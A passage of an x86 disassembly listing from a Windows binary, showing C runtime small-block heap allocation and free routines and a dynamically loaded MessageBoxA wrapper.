; ---------------------------------------------------------------------------
loc_69B85AD5: ; CODE XREF: sub_69B85AAC+5j
mov eax, 411h
retn
sub_69B85AAC endp
; =============== S U B R O U T I N E =======================================
sub_69B85ADB proc near ; CODE XREF: sub_69B1D0A4:loc_69B1D124p
push edi
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_69B95DE0
rep stosd
stosb
xor eax, eax
mov CodePage, eax
mov dword_69B95DC0, eax
mov dword_69B95DB8, eax
mov edi, offset word_69B95EF0
stosd
stosd
stosd
pop edi
retn
sub_69B85ADB endp
; =============== S U B R O U T I N E =======================================
sub_69B85B04 proc near ; CODE XREF: sub_69B1CD1E+82EAp
arg_0 = dword ptr 4
push 140h ; dwBytes
push 0 ; dwFlags
push dword_69B96000 ; hHeap
call ds:HeapAlloc
test eax, eax
mov dword_69B9B788, eax
jnz short loc_69B85B21
retn
; ---------------------------------------------------------------------------
loc_69B85B21: ; CODE XREF: sub_69B85B04+1Aj
mov ecx, [esp+arg_0]
and dword_69B9B780, 0
and dword_69B9B784, 0
mov dword_69B9B790, eax
xor eax, eax
mov dword_69B9B78C, ecx
mov dword_69B9B794, 10h
inc eax
retn
sub_69B85B04 endp
; =============== S U B R O U T I N E =======================================
sub_69B85B4C proc near ; CODE XREF: sub_69B1D1FD+7B32p
arg_0 = dword ptr 4
mov eax, dword_69B9B784
lea ecx, [eax+eax*4]
mov eax, dword_69B9B788
lea ecx, [eax+ecx*4]
jmp short loc_69B85B70
; ---------------------------------------------------------------------------
loc_69B85B5E: ; CODE XREF: sub_69B85B4C+26j
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_69B85B76
add eax, 14h
loc_69B85B70: ; CODE XREF: sub_69B85B4C+10j
cmp eax, ecx
jb short loc_69B85B5E
xor eax, eax
locret_69B85B76: ; CODE XREF: sub_69B85B4C+1Fj
retn
sub_69B85B4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B85B77 proc near ; CODE XREF: sub_69B1D1FD+7B41p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
mov eax, [ecx+10h]
push esi
mov esi, [ebp+arg_4]
push edi
mov edi, esi
sub edi, [ecx+0Ch]
add esi, 0FFFFFFFCh
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_69B85E8B
push ebx
lea ebx, [ecx+esi]
mov edx, [ebx]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_69B85C42
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_69B85BDA
push 3Fh
pop edx
loc_69B85BDA: ; CODE XREF: sub_69B85B77+5Ej
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_69B85C24
cmp edx, 20h
mov ebx, 80000000h
jnb short loc_69B85C05
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_69B85C21
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_69B85C21
; ---------------------------------------------------------------------------
loc_69B85C05: ; CODE XREF: sub_69B85B77+73j
lea ecx, [edx-20h]
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_69B85C21
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_69B85C21: ; CODE XREF: sub_69B85B77+85j
; sub_69B85B77+8Cj ...
mov ebx, [ebp+arg_4]
loc_69B85C24: ; CODE XREF: sub_69B85B77+69j
mov edx, [ebx+8]
mov ebx, [ebx+4]
mov ecx, [ebp+var_4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
mov [ebp+var_4], ecx
loc_69B85C42: ; CODE XREF: sub_69B85B77+55j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_69B85C50
push 3Fh
pop edx
loc_69B85C50: ; CODE XREF: sub_69B85B77+D4j
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_69B85CEE
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_69B85C75
mov ebx, esi
loc_69B85C75: ; CODE XREF: sub_69B85B77+FAj
add ecx, [ebp+var_8]
mov edx, ecx
sar edx, 4
dec edx
cmp edx, esi
mov [ebp+var_4], ecx
jbe short loc_69B85C87
mov edx, esi
loc_69B85C87: ; CODE XREF: sub_69B85B77+10Cj
cmp ebx, edx
jz short loc_69B85CE9
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_69B85CD1
cmp ebx, 20h
mov esi, 80000000h
jnb short loc_69B85CB7
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_69B85CD1
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_69B85CD1
; ---------------------------------------------------------------------------
loc_69B85CB7: ; CODE XREF: sub_69B85B77+127j
lea ecx, [ebx-20h]
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_69B85CD1
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_69B85CD1: ; CODE XREF: sub_69B85B77+11Dj
; sub_69B85B77+137j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_69B85CE9: ; CODE XREF: sub_69B85B77+112j
mov esi, [ebp+arg_4]
jmp short loc_69B85CF1
; ---------------------------------------------------------------------------
loc_69B85CEE: ; CODE XREF: sub_69B85B77+E2j
mov ebx, [ebp+arg_0]
loc_69B85CF1: ; CODE XREF: sub_69B85B77+175j
cmp [ebp+var_C], 0
jnz short loc_69B85CFF
cmp ebx, edx
jz loc_69B85D7F
loc_69B85CFF: ; CODE XREF: sub_69B85B77+17Ej
mov ecx, [ebp+var_10]
lea ecx, [ecx+edx*8]
mov ebx, [ecx+4]
mov [esi+8], ecx
mov [esi+4], ebx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_69B85D7F
mov cl, [edx+eax+4]
mov byte ptr [ebp+arg_4+3], cl
inc cl
cmp edx, 20h
mov [edx+eax+4], cl
jnb short loc_69B85D56
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_69B85D45
mov ecx, edx
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_69B85D45: ; CODE XREF: sub_69B85B77+1BEj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_69B85D7F
; ---------------------------------------------------------------------------
loc_69B85D56: ; CODE XREF: sub_69B85B77+1B8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_69B85D6C
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_69B85D6C: ; CODE XREF: sub_69B85B77+1E3j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_69B85D7F: ; CODE XREF: sub_69B85B77+182j
; sub_69B85B77+1A6j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_69B85E8A
mov eax, dword_69B9B780
test eax, eax
jz loc_69B85E7C
mov ecx, dword_69B9B798
mov esi, ds:VirtualFree
push 4000h ; dwFreeType
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push ebx ; dwSize
push ecx ; lpAddress
call esi ; VirtualFree
mov ecx, dword_69B9B798
mov eax, dword_69B9B780
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_69B9B780
mov eax, [eax+10h]
mov ecx, dword_69B9B798
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_69B9B780
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_69B9B780
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_69B85E0D
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_69B9B780
loc_69B85E0D: ; CODE XREF: sub_69B85B77+28Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_69B85E7C
push ebx ; dwFreeType
push 0 ; dwSize
push dword ptr [eax+0Ch] ; lpAddress
call esi ; VirtualFree
mov eax, dword_69B9B780
push dword ptr [eax+10h] ; lpMem
push 0 ; dwFlags
push dword_69B96000 ; hHeap
call ds:HeapFree
mov eax, dword_69B9B784
mov edx, dword_69B9B788
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_69B9B780
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_69B22103
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_69B9B784
cmp eax, dword_69B9B780
jbe short loc_69B85E72
sub [ebp+arg_0], 14h
loc_69B85E72: ; CODE XREF: sub_69B85B77+2F5j
mov eax, dword_69B9B788
mov dword_69B9B790, eax
loc_69B85E7C: ; CODE XREF: sub_69B85B77+223j
; sub_69B85B77+29Aj
mov eax, [ebp+arg_0]
mov dword_69B9B780, eax
mov dword_69B9B798, edi
loc_69B85E8A: ; CODE XREF: sub_69B85B77+216j
pop ebx
loc_69B85E8B: ; CODE XREF: sub_69B85B77+37j
pop edi
pop esi
leave
retn
sub_69B85B77 endp
; =============== S U B R O U T I N E =======================================
sub_69B85E8F proc near ; CODE XREF: sub_69B8604C+150p
mov eax, dword_69B9B784
mov ecx, dword_69B9B794
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_69B85ED5
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax ; dwBytes
push dword_69B9B788 ; lpMem
push edi ; dwFlags
push dword_69B96000 ; hHeap
call ds:HeapReAlloc
cmp eax, edi
jnz short loc_69B85EC4
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_69B85EC4: ; CODE XREF: sub_69B85E8F+2Fj
add dword_69B9B794, 10h
mov dword_69B9B788, eax
mov eax, dword_69B9B784
loc_69B85ED5: ; CODE XREF: sub_69B85E8F+10j
mov ecx, dword_69B9B788
push esi
push 41C4h ; dwBytes
push 8 ; dwFlags
push dword_69B96000 ; hHeap
lea eax, [eax+eax*4]
lea esi, [ecx+eax*4]
call ds:HeapAlloc
cmp eax, edi
mov [esi+10h], eax
jnz short loc_69B85F00
loc_69B85EFC: ; CODE XREF: sub_69B85E8F+9Bj
xor eax, eax
jmp short loc_69B85F43
; ---------------------------------------------------------------------------
loc_69B85F00: ; CODE XREF: sub_69B85E8F+6Bj
push 4 ; flProtect
push 2000h ; flAllocationType
push 100000h ; dwSize
push edi ; lpAddress
call ds:VirtualAlloc ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_69B85F2C
push dword ptr [esi+10h] ; lpMem
push edi ; dwFlags
push dword_69B96000 ; hHeap
call ds:HeapFree
jmp short loc_69B85EFC
; ---------------------------------------------------------------------------
loc_69B85F2C: ; CODE XREF: sub_69B85E8F+89j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_69B9B784
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_69B85F43: ; CODE XREF: sub_69B85E8F+6Fj
pop esi
pop edi
retn
sub_69B85E8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B85F46 proc near ; CODE XREF: sub_69B8604C+15Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, [ebp+arg_0]
mov eax, [ecx+8]
push ebx
push esi
mov esi, [ecx+10h]
push edi
xor ebx, ebx
jmp short loc_69B85F5E
; ---------------------------------------------------------------------------
loc_69B85F5B: ; CODE XREF: sub_69B85F46+1Aj
shl eax, 1
inc ebx
loc_69B85F5E: ; CODE XREF: sub_69B85F46+13j
test eax, eax
jge short loc_69B85F5B
mov eax, ebx
imul eax, 204h
lea eax, [eax+esi+144h]
push 3Fh
mov [ebp+var_8], eax
pop edx
loc_69B85F77: ; CODE XREF: sub_69B85F46+3Bj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_69B85F77
push 4 ; flProtect
mov edi, ebx
push 1000h ; flAllocationType
shl edi, 0Fh
add edi, [ecx+0Ch]
push 8000h ; dwSize
push edi ; lpAddress
call ds:VirtualAlloc ; VirtualAlloc
test eax, eax
jnz short loc_69B85FAA
or eax, 0FFFFFFFFh
jmp loc_69B86047
; ---------------------------------------------------------------------------
loc_69B85FAA: ; CODE XREF: sub_69B85F46+5Aj
lea edx, [edi+7000h]
cmp edi, edx
mov [ebp+var_4], edx
ja short loc_69B85FFA
mov ecx, edx
sub ecx, edi
shr ecx, 0Ch
lea eax, [edi+10h]
inc ecx
loc_69B85FC2: ; CODE XREF: sub_69B85F46+AFj
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea edx, [eax+0FFCh]
mov [eax], edx
lea edx, [eax-1004h]
mov dword ptr [eax-4], 0FF0h
mov [eax+4], edx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
dec ecx
jnz short loc_69B85FC2
mov edx, [ebp+var_4]
loc_69B85FFA: ; CODE XREF: sub_69B85F46+6Fj
mov eax, [ebp+var_8]
add eax, 1F8h
lea ecx, [edi+0Ch]
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
xor edi, edi
inc edi
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_69B86037
or [eax+4], edi
loc_69B86037: ; CODE XREF: sub_69B85F46+ECj
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_69B86047: ; CODE XREF: sub_69B85F46+5Fj
pop edi
pop esi
pop ebx
leave
retn
sub_69B85F46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8604C proc near ; CODE XREF: sub_69B1CEB6+844Ep
; sub_69B86348+28p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov ecx, [ebp+arg_0]
mov eax, dword_69B9B784
mov edx, dword_69B9B788
add ecx, 17h
and ecx, 0FFFFFFF0h
push ebx
mov [ebp+var_10], ecx
sar ecx, 4
push esi
lea eax, [eax+eax*4]
push edi
dec ecx
cmp ecx, 20h
lea edi, [edx+eax*4]
mov [ebp+var_4], edi
jge short loc_69B86089
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_69B86096
; ---------------------------------------------------------------------------
loc_69B86089: ; CODE XREF: sub_69B8604C+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_8], eax
loc_69B86096: ; CODE XREF: sub_69B8604C+3Bj
mov eax, dword_69B9B790
mov ebx, eax
mov [ebp+var_C], esi
cmp ebx, edi
jmp short loc_69B860B8
; ---------------------------------------------------------------------------
loc_69B860A4: ; CODE XREF: sub_69B8604C+6Fj
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_69B860BD
add ebx, 14h
cmp ebx, [ebp+var_4]
loc_69B860B8: ; CODE XREF: sub_69B8604C+56j
mov [ebp+arg_0], ebx
jb short loc_69B860A4
loc_69B860BD: ; CODE XREF: sub_69B8604C+64j
cmp ebx, [ebp+var_4]
jnz short loc_69B860E6
mov ebx, edx
jmp short loc_69B860D7
; ---------------------------------------------------------------------------
loc_69B860C6: ; CODE XREF: sub_69B8604C+90j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_69B860DE
add ebx, 14h
loc_69B860D7: ; CODE XREF: sub_69B8604C+78j
cmp ebx, eax
mov [ebp+arg_0], ebx
jb short loc_69B860C6
loc_69B860DE: ; CODE XREF: sub_69B8604C+86j
cmp ebx, eax
jz loc_69B8617A
loc_69B860E6: ; CODE XREF: sub_69B8604C+74j
; sub_69B8604C+170j
mov dword_69B9B790, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_69B8610D
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_69B86143
loc_69B8610D: ; CODE XREF: sub_69B8604C+ABj
mov edx, [eax+0C4h]
and edx, [ebp+var_8]
and [ebp+var_4], 0
lea ecx, [eax+44h]
mov esi, [ecx]
and esi, [ebp+var_C]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_69B86140
loc_69B86129: ; CODE XREF: sub_69B8604C+F2j
mov edx, [ecx+84h]
and edx, [ebp+var_8]
inc [ebp+var_4]
add ecx, 4
mov edi, [ecx]
and edi, esi
or edx, edi
jz short loc_69B86129
loc_69B86140: ; CODE XREF: sub_69B8604C+DBj
mov edx, [ebp+var_4]
loc_69B86143: ; CODE XREF: sub_69B8604C+BFj
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
xor edi, edi
and ecx, esi
jnz short loc_69B861CC
mov ecx, [eax+edx*4+0C4h]
and ecx, [ebp+var_8]
push 20h
pop edi
jmp short loc_69B861CC
; ---------------------------------------------------------------------------
loc_69B8616E: ; CODE XREF: sub_69B8604C+131j
cmp dword ptr [ebx+8], 0
jnz short loc_69B8617F
add ebx, 14h
mov [ebp+arg_0], ebx
loc_69B8617A: ; CODE XREF: sub_69B8604C+94j
cmp ebx, [ebp+var_4]
jb short loc_69B8616E
loc_69B8617F: ; CODE XREF: sub_69B8604C+126j
cmp ebx, [ebp+var_4]
jnz short loc_69B861AA
mov ebx, edx
jmp short loc_69B86191
; ---------------------------------------------------------------------------
loc_69B86188: ; CODE XREF: sub_69B8604C+14Aj
cmp dword ptr [ebx+8], 0
jnz short loc_69B86198
add ebx, 14h
loc_69B86191: ; CODE XREF: sub_69B8604C+13Aj
cmp ebx, eax
mov [ebp+arg_0], ebx
jb short loc_69B86188
loc_69B86198: ; CODE XREF: sub_69B8604C+140j
cmp ebx, eax
jnz short loc_69B861AA
call sub_69B85E8F
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_69B861C2
loc_69B861AA: ; CODE XREF: sub_69B8604C+136j
; sub_69B8604C+14Ej
push ebx
call sub_69B85F46
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz loc_69B860E6
loc_69B861C2: ; CODE XREF: sub_69B8604C+15Cj
xor eax, eax
jmp loc_69B86343
; ---------------------------------------------------------------------------
loc_69B861C9: ; CODE XREF: sub_69B8604C+182j
shl ecx, 1
inc edi
loc_69B861CC: ; CODE XREF: sub_69B8604C+111j
; sub_69B8604C+120j
test ecx, ecx
jge short loc_69B861C9
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
sar esi, 4
dec esi
cmp esi, 3Fh
mov [ebp+var_8], ecx
jle short loc_69B861ED
push 3Fh
pop esi
loc_69B861ED: ; CODE XREF: sub_69B8604C+19Cj
cmp esi, edi
jz loc_69B862F6
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_69B86259
cmp edi, 20h
mov ebx, 80000000h
jge short loc_69B8622D
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_69B86256
mov ecx, [ebp+var_14]
mov ebx, [ebp+arg_0]
and [ebx], ecx
jmp short loc_69B86259
; ---------------------------------------------------------------------------
loc_69B8622D: ; CODE XREF: sub_69B8604C+1B9j
lea ecx, [edi-20h]
shr ebx, cl
mov ecx, [ebp+var_4]
lea ecx, [eax+ecx*4+0C4h]
lea edi, [eax+edi+4]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_69B86256
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_69B86259
; ---------------------------------------------------------------------------
loc_69B86256: ; CODE XREF: sub_69B8604C+1D5j
; sub_69B8604C+1FDj
mov ebx, [ebp+arg_0]
loc_69B86259: ; CODE XREF: sub_69B8604C+1AFj
; sub_69B8604C+1DFj ...
cmp [ebp+var_8], 0
mov ecx, [edx+8]
mov edi, [edx+4]
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_69B86302
mov ecx, [ebp+var_C]
lea ecx, [ecx+esi*8]
mov edi, [ecx+4]
mov [edx+8], ecx
mov [edx+4], edi
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_69B862F3
mov cl, [esi+eax+4]
mov byte ptr [ebp+arg_0+3], cl
inc cl
cmp esi, 20h
mov [esi+eax+4], cl
jge short loc_69B862CA
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_69B862B8
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_69B862B8: ; CODE XREF: sub_69B8604C+25Fj
mov ecx, esi
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_69B862F3
; ---------------------------------------------------------------------------
loc_69B862CA: ; CODE XREF: sub_69B8604C+259j
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_69B862DD
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_69B862DD: ; CODE XREF: sub_69B8604C+282j
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_69B862F3: ; CODE XREF: sub_69B8604C+247j
; sub_69B8604C+27Cj
mov ecx, [ebp+var_8]
loc_69B862F6: ; CODE XREF: sub_69B8604C+1A3j
test ecx, ecx
jz short loc_69B86305
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_69B86305
; ---------------------------------------------------------------------------
loc_69B86302: ; CODE XREF: sub_69B8604C+223j
mov ecx, [ebp+var_8]
loc_69B86305: ; CODE XREF: sub_69B8604C+2ACj
; sub_69B8604C+2B4j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_69B8633B
cmp ebx, dword_69B9B780
jnz short loc_69B8633B
mov ecx, [ebp+var_4]
cmp ecx, dword_69B9B798
jnz short loc_69B8633B
and dword_69B9B780, 0
loc_69B8633B: ; CODE XREF: sub_69B8604C+2D3j
; sub_69B8604C+2DBj ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_69B86343: ; CODE XREF: sub_69B8604C+178j
pop edi
pop esi
pop ebx
leave
retn
sub_69B8604C endp
; =============== S U B R O U T I N E =======================================
sub_69B86348 proc near ; CODE XREF: sub_69B19587+BD1Ap
push 0Ch
push offset dword_69B86398
call sub_69B19C5C
and dword ptr [ebp-1Ch], 0
mov esi, [ebp+8]
cmp esi, dword_69B9B78C
ja short loc_69B86382
push 4
call sub_69B113FC
pop ecx
and dword ptr [ebp-4], 0
push esi
call sub_69B8604C
pop ecx
mov [ebp-1Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B8638B
loc_69B86382: ; CODE XREF: sub_69B86348+19j
mov eax, [ebp-1Ch]
call sub_69B1853C
retn
sub_69B86348 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B8638B proc near ; CODE XREF: sub_69B86348+35p
; DATA XREF: .text:69B863A0o
push 4
call sub_69B1D1C5
pop ecx
retn
sub_69B8638B endp
; ---------------------------------------------------------------------------
align 8
dword_69B86398 dd 0FFFFFFFFh, 0 dd offset sub_69B8638B
; ---------------------------------------------------------------------------
loc_69B863A4: ; DATA XREF: sub_69B19C19:loc_69B2535Eo
push dword ptr [esp+4]
call ds:InitializeCriticalSection ; InitializeCriticalSection
xor eax, eax
inc eax
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B863B4 proc near ; CODE XREF: sub_69B84F8F+186p
var_10 = byte ptr -10h
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_A = byte ptr 12h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
xor ebx, ebx
cmp dword_69B9B71C, ebx
push esi
push edi
jnz short loc_69B86434
push offset aUser32_dll_0 ; "user32.dll"
call ds:LoadLibraryA ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_69B8646F
mov esi, ds:GetProcAddress
push offset aMessageboxa ; "MessageBoxA"
push edi ; hModule
call esi ; GetProcAddress
test eax, eax
mov dword_69B9B71C, eax
jz short loc_69B8646F
push offset aGetactivewin_0 ; "GetActiveWindow"
push edi ; hModule
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi ; hModule
mov dword_69B9B720, eax
call esi ; GetProcAddress
cmp dword_69B95AFC, 2
mov dword_69B9B724, eax
jnz short loc_69B86434
push offset aGetuserobjecti ; "GetUserObjectInformationA"
push edi ; hModule
call esi ; GetProcAddress
test eax, eax
mov dword_69B9B72C, eax
jz short loc_69B86434
push offset aGetprocesswind ; "GetProcessWindowStation"
push edi ; hModule
call esi ; GetProcAddress
mov dword_69B9B728, eax
loc_69B86434: ; CODE XREF: sub_69B863B4+11j
; sub_69B863B4+60j ...
mov eax, dword_69B9B728
test eax, eax
jz short loc_69B86479
call eax ; dword_69B9B728
test eax, eax
jz short loc_69B86460
lea ecx, [ebp+var_4]
push ecx
push 0Ch
lea ecx, [ebp+var_10]
push ecx
push 1
push eax
call dword_69B9B72C ; GetUserObjectInformationA
test eax, eax
jz short loc_69B86460
test [ebp+var_8], 1
jnz short loc_69B86479
loc_69B86460: ; CODE XREF: sub_69B863B4+8Dj
; sub_69B863B4+A4j
cmp dword_69B95B08, 4
jb short loc_69B86473
or [ebp+arg_A], 20h
jmp short loc_69B86498
; ---------------------------------------------------------------------------
loc_69B8646F: ; CODE XREF: sub_69B863B4+22j
; sub_69B863B4+3Dj
xor eax, eax
jmp short loc_69B864A8
; ---------------------------------------------------------------------------
loc_69B86473: ; CODE XREF: sub_69B863B4+B3j
or [ebp+arg_A], 4
jmp short loc_69B86498
; ---------------------------------------------------------------------------
loc_69B86479: ; CODE XREF: sub_69B863B4+87j
; sub_69B863B4+AAj
mov eax, dword_69B9B720
test eax, eax
jz short loc_69B86498
call eax ; dword_69B9B720
mov ebx, eax
test ebx, ebx
jz short loc_69B86498
mov eax, dword_69B9B724
test eax, eax
jz short loc_69B86498
push ebx
call eax ; dword_69B9B724
mov ebx, eax
loc_69B86498: ; CODE XREF: sub_69B863B4+B9j
; sub_69B863B4+C3j ...
push dword ptr [ebp+10h]
push [ebp+arg_4]
push [ebp+arg_0]
push ebx
call dword_69B9B71C ; MessageBoxA
loc_69B864A8: ; CODE XREF: sub_69B863B4+BDj
pop edi
pop esi
pop ebx
leave
retn
sub_69B863B4 endp
; ---------------------------------------------------------------------------
align 10h
; char aGetprocesswind[]
aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_69B863B4+73o
; char aGetuserobjecti[]
aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_69B863B4+62o
align 4
; char aGetlastactivep[]
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_69B863B4+47o
align 4
; char aGetactivewin_0[]
aGetactivewin_0 db 'GetActiveWindow',0 ; DATA XREF: sub_69B863B4+3Fo
; char aMessageboxa[]
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_69B863B4+2Eo
; char aUser32_dll_0[]
aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_69B863B4+13o
